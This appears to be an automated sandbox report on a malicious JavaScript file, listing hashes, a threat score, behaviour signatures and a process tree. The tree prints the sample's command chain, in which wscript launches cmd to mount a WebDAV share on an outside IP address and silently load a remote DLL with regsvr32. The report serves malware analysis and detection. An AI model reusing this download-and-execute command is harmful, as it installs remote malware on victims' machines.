Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 03:34

General

  • Target

    13220292751830524797.js

  • Size

    4KB

  • MD5

    234f49040623fd53a22ffe111d2fc8ee

  • SHA1

    b22db5c7edfa9097a717b567d9123574c40f556d

  • SHA256

    eead33d4493eac3af7b8864fdccdea65671be66d40b70fa4b93ec978df4ed4d6

  • SHA512

    e7a1eb57f2c900981a31a97992d1fd3182b530f18c44d8e6c3bb431fa06d0d57a79f41442f4729bc112e8de642e825e2474c5940af91f851992d8558e96efe1f

  • SSDEEP

    96:CE6dNd9zox9EkINR6J0rwLyR6JTaFAtbotEyYNmmTNWAkTjvUwotEyYNmmTNWqoQ:j6dD9aLK6arZ6oFitoAkTrU+toY

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\13220292751830524797.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2184
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\3558227181679.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1944
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1712

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads